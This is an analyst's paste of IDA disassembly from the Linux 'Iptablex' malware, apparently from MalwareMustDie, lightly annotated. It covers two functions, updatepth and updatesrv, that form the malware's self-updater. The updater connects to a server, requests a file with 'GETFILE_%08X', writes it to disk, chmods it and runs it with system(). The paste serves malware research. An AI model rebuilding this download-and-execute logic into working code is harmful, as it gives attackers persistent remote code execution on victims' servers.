;; Server Updater code reversed | #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date ;; Mon Jun 16 14:08:26 JST 2014 ;; Function updatepth() .text:0804A610 public updatepth .text:0804A610 updatepth proc near .text:0804A610 var_28 = dword ptr -28h .text:0804A610 var_24 = dword ptr -24h .text:0804A610 var_20 = dword ptr -20h .text:0804A610 var_C = dword ptr -0Ch .text:0804A610 var_8 = word ptr -8 .text:0804A610 var_6 = word ptr -6 .text:0804A610 arg_0 = dword ptr 8 .text:0804A610 .text:0804A610 push ebp .text:0804A611 mov ebp, esp .text:0804A613 push ebx .text:0804A614 sub esp, 24h .text:0804A617 mov edx, [ebp+arg_0] .text:0804A61A mov [ebp+var_C], 0 .text:0804A621 mov [ebp+var_6], 0 .text:0804A627 mov [ebp+var_8], 0 .text:0804A62D test edx, edx .text:0804A62F jz short loc_804A690 .text:0804A631 mov eax, [edx+1] .text:0804A634 mov ebx, 1 .text:0804A639 mov [ebp+var_C], eax .text:0804A63C movzx eax, word ptr [edx+5] .text:0804A640 mov [ebp+var_6], ax .text:0804A644 movzx eax, word ptr [edx+7] .text:0804A648 mov [esp+28h+var_28], edx .text:0804A64B mov [ebp+var_8], ax .text:0804A64F call free .text:0804A654 .text:0804A654 loc_804A654: .text:0804A654 movzx eax, [ebp+var_8] .text:0804A658 mov [esp+28h+var_20], eax .text:0804A65C movzx eax, [ebp+var_6] .text:0804A660 mov [esp+28h+var_24], eax .text:0804A664 mov eax, [ebp+var_C] .text:0804A667 mov [esp+28h+var_28], eax .text:0804A66A call updatesrv ;; call the next funcion.see below blob... .text:0804A66F test eax, eax .text:0804A671 jnz short loc_804A690 .text:0804A673 mov [esp+28h+var_28], 2DC6C0h .text:0804A67A call usleep .text:0804A67F cmp ebx, 5 .text:0804A682 jz short loc_804A690 .text:0804A684 add ebx, 1 .text:0804A687 jmp short loc_804A654 .text:0804A690 loc_804A690: .text:0804A690 mov [esp+28h+var_28], 0 .text:0804A697 call pthread_exit .text:0804A69C nop .text:0804A69D nop .text:0804A69E nop .text:0804A69F nop .text:0804A69F updatepth end ;; Function updatesrv() .text:0804A2C0 public updatesrv .text:0804A2C0 updatesrv proc near .text:0804A2C0 .text:0804A2C0 var_948 = dword ptr -948h .text:0804A2C0 var_944 = dword ptr -944h .text:0804A2C0 var_940 = dword ptr -940h .text:0804A2C0 var_93C = dword ptr -93Ch .text:0804A2C0 var_938 = dword ptr -938h .text:0804A2C0 var_934 = dword ptr -934h .text:0804A2C0 var_930 = dword ptr -930h .text:0804A2C0 var_920 = dword ptr -920h .text:0804A2C0 var_120 = dword ptr -120h .text:0804A2C0 var_20 = dword ptr -20h .text:0804A2C0 var_1C = dword ptr -1Ch .text:0804A2C0 var_10 = dword ptr -10h .text:0804A2C0 arg_0 = dword ptr 8 .text:0804A2C0 arg_4 = word ptr 0Ch .text:0804A2C0 arg_8 = dword ptr 10h .text:0804A2C0 .text:0804A2C0 push ebp .text:0804A2C1 mov ebp, esp .text:0804A2C3 push edi .text:0804A2C4 push esi .text:0804A2C5 push ebx .text:0804A2C6 sub esp, 93Ch ; contains "pathname" .text:0804A2CC mov eax, [ebp+arg_8] .text:0804A2CF mov [ebp+var_10], 0 .text:0804A2D6 movzx ebx, [ebp+arg_4] .text:0804A2DA mov word ptr [ebp+var_930], ax .text:0804A2E1 mov [esp+948h+var_940], 0 .text:0804A2E9 mov [esp+948h+var_944], 1 .text:0804A2F1 mov [esp+948h+var_948], 2 .text:0804A2F8 call socket .text:0804A2FD test eax, eax .text:0804A2FF mov esi, eax .text:0804A301 js loc_804A400 .text:0804A307 mov eax, [ebp+arg_0] .text:0804A30A mov word ptr [ebp+var_20], 2 .text:0804A310 ror bx, 8 .text:0804A314 mov word ptr [ebp+var_20+2], bx .text:0804A318 mov [ebp+var_1C], eax .text:0804A31B lea eax, [ebp+var_20] .text:0804A31E mov [esp+948h+var_940], 10h .text:0804A326 mov [esp+948h+var_944], eax .text:0804A32A mov [esp+948h+var_948], esi .text:0804A32D call connect .text:0804A332 test eax, eax .text:0804A334 js loc_804A400 .text:0804A33A lea edi, [ebp+var_120] .text:0804A340 mov [esp+948h+var_940], 100h .text:0804A348 mov [esp+948h+var_944], 0 .text:0804A350 mov [esp+948h+var_948], edi .text:0804A353 call memset .text:0804A358 mov [esp+948h+var_948], edi .text:0804A35B call GetMyPath .text:0804A360 mov ecx, edi .text:0804A362 .text:0804A362 loc_804A362: .text:0804A362 mov eax, [ecx] .text:0804A364 add ecx, 4 .text:0804A367 lea edx, [eax-1010101h] .text:0804A36D not eax .text:0804A36F and edx, eax .text:0804A371 and edx, 80808080h .text:0804A377 jz short loc_804A362 .text:0804A379 test edx, 8080h .text:0804A37F jz loc_804A410 .text:0804A385 .text:0804A385 loc_804A385: .text:0804A385 add dl, dl .text:0804A387 sbb ecx, 3 .text:0804A38A mov [esp+948h+var_948], ecx .text:0804A38D call GetRandFileName .text:0804A392 lea eax, [ebp+var_930] .text:0804A398 mov [esp+948h+var_93C], 0 .text:0804A3A0 mov [esp+948h+var_940], 2 .text:0804A3A8 mov [esp+948h+var_944], eax .text:0804A3AC mov [esp+948h+var_948], esi .text:0804A3AF call send .text:0804A3B4 cmp eax, 2 .text:0804A3B7 jz short loc_804A420 .text:0804A3B9 .text:0804A3B9 loc_804A3B9: .text:0804A3B9 .text:0804A3B9 mov [esp+948h+var_948], esi .text:0804A3BC call close .text:0804A3C1 mov [esp+948h+var_944], 0 .text:0804A3C9 mov [esp+948h+var_948], edi .text:0804A3CC call access .text:0804A3D1 test eax, eax .text:0804A3D3 jnz short loc_804A400 .text:0804A3D5 mov [esp+948h+var_948], edi .text:0804A3D8 call Get_File_Size .text:0804A3DD cmp eax, [ebp+var_10] .text:0804A3E0 jz loc_804A480 .text:0804A3E6 mov [esp+948h+var_948], edi .text:0804A3E9 call MyDeleteFile .text:0804A3EE add esp, 93Ch .text:0804A3F4 xor eax, eax .text:0804A3F6 pop ebx .text:0804A3F7 pop esi .text:0804A3F8 pop edi .text:0804A3F9 pop ebp .text:0804A3FA retn .text:0804A400 loc_804A400: .text:0804A400 xor eax, eax .text:0804A402 .text:0804A402 loc_804A402: .text:0804A402 add esp, 93Ch .text:0804A408 pop ebx .text:0804A409 pop esi .text:0804A40A pop edi .text:0804A40B pop ebp .text:0804A40C retn .text:0804A40D align 10h ; here's the "fd" passed .text:0804A410 loc_804A410: .text:0804A410 shr edx, 10h .text:0804A413 add ecx, 2 .text:0804A416 jmp loc_804A385 .text:0804A420 .text:0804A420 loc_804A420: .text:0804A420 lea eax, [ebp+var_920] .text:0804A426 mov [ebp+var_938], eax .text:0804A42C mov [esp+948h+var_940], 800h .text:0804A434 mov [esp+948h+var_944], 0 .text:0804A43C mov [esp+948h+var_948], eax .text:0804A43F call memset .text:0804A444 lea eax, [ebp+var_920] .text:0804A44A mov [esp+948h+var_93C], 0 .text:0804A452 mov [esp+948h+var_940], 800h .text:0804A45A mov [esp+948h+var_944], eax .text:0804A45E mov [esp+948h+var_948], esi .text:0804A461 call recv .text:0804A466 cmp eax, 4 .text:0804A469 jz short loc_804A4C0 .text:0804A46B .text:0804A46B loc_804A46B: .text:0804A46B mov [esp+948h+var_948], esi .text:0804A46E call close .text:0804A473 add esp, 93Ch .text:0804A479 xor eax, eax .text:0804A47B pop ebx .text:0804A47C pop esi .text:0804A47D pop edi .text:0804A47E pop ebp .text:0804A47F retn ; returning arguement "args" .text:0804A480 .text:0804A480 loc_804A480: .text:0804A480 lea eax, [ebp+var_920] .text:0804A486 mov [esp+948h+var_940], 800h .text:0804A48E mov [esp+948h+var_944], 0 .text:0804A496 mov [esp+948h+var_948], eax .text:0804A499 call memset .text:0804A49E mov [esp+948h+var_944], 309h .text:0804A4A6 mov [esp+948h+var_948], edi .text:0804A4A9 call chmod .text:0804A4AE mov [esp+948h+var_948], edi .text:0804A4B1 call system .text:0804A4B6 mov eax, 1 .text:0804A4BB jmp loc_804A402 .text:0804A4C0 .text:0804A4C0 loc_804A4C0: .text:0804A4C0 mov eax, [ebp+var_920] .text:0804A4C6 mov [ebp+var_10], eax .text:0804A4C9 lea eax, [ebp+var_920] .text:0804A4CF mov [esp+948h+var_940], 800h .text:0804A4D7 mov [esp+948h+var_944], 0 .text:0804A4DF mov [esp+948h+var_948], eax .text:0804A4E2 call memset .text:0804A4E7 mov eax, [ebp+var_10] .text:0804A4EA mov [esp+948h+var_944], offset aGetfile_08x ; called db "GETFILE_%08X" .text:0804A4F2 mov [esp+948h+var_940], eax .text:0804A4F6 lea eax, [ebp+var_920] .text:0804A4FC mov [esp+948h+var_948], eax .text:0804A4FF call sprintf .text:0804A504 lea ecx, [ebp+var_920] .text:0804A50A .text:0804A50A loc_804A50A: .text:0804A50A mov eax, [ecx] .text:0804A50C add ecx, 4 .text:0804A50F lea edx, [eax-1010101h] .text:0804A515 not eax .text:0804A517 and edx, eax .text:0804A519 and edx, 80808080h .text:0804A51F jz short loc_804A50A .text:0804A521 test edx, 8080h .text:0804A527 jnz short loc_804A52F .text:0804A529 shr edx, 10h .text:0804A52C add ecx, 2 .text:0804A52F .text:0804A52F loc_804A52F: .text:0804A52F add dl, dl .text:0804A531 sbb ecx, 3 .text:0804A534 sub ecx, [ebp+var_938] .text:0804A53A lea eax, [ebp+var_920] .text:0804A540 mov [esp+948h+var_93C], 0 .text:0804A548 lea ebx, [ecx+1] .text:0804A54B mov [esp+948h+var_940], ebx .text:0804A54F mov [esp+948h+var_944], eax .text:0804A553 mov [esp+948h+var_948], esi .text:0804A556 call send .text:0804A55B cmp eax, ebx .text:0804A55D jnz loc_804A46B .text:0804A563 mov [esp+948h+var_944], offset aWb ; contains "wb"..means..write as binary.. .text:0804A56B mov [esp+948h+var_948], edi .text:0804A56E call fopen .text:0804A573 test eax, eax .text:0804A575 mov [ebp+var_934], eax .text:0804A57B jnz short loc_804A5AA .text:0804A57D jmp loc_804A3B9 .text:0804A582 .text:0804A582 loc_804A582: .text:0804A582 mov eax, [ebp+var_934] .text:0804A588 mov [esp+948h+var_940], ebx .text:0804A58C mov [esp+948h+var_944], 1 .text:0804A594 mov [esp+948h+var_93C], eax .text:0804A598 lea eax, [ebp+var_920] .text:0804A59E mov [esp+948h+var_948], eax .text:0804A5A1 call fwrite .text:0804A5A6 cmp ebx, eax .text:0804A5A8 jnz short loc_804A5F0 .text:0804A5AA .text:0804A5AA loc_804A5AA: .text:0804A5AA lea eax, [ebp+var_920] .text:0804A5B0 mov [esp+948h+var_940], 800h .text:0804A5B8 mov [esp+948h+var_944], 0 .text:0804A5C0 mov [esp+948h+var_948], eax .text:0804A5C3 call memset .text:0804A5C8 lea eax, [ebp+var_920] .text:0804A5CE mov [esp+948h+var_93C], 0 .text:0804A5D6 mov [esp+948h+var_940], 800h .text:0804A5DE mov [esp+948h+var_944], eax .text:0804A5E2 mov [esp+948h+var_948], esi .text:0804A5E5 call recv .text:0804A5EA test eax, eax .text:0804A5EC mov ebx, eax .text:0804A5EE jg short loc_804A582 .text:0804A5F0 .text:0804A5F0 loc_804A5F0: .text:0804A5F0 mov eax, [ebp+var_934] .text:0804A5F6 mov [esp+948h+var_948], eax .text:0804A5F9 call fclose .text:0804A5FE jmp loc_804A3B9 .text:0804A5FE updatesrv endp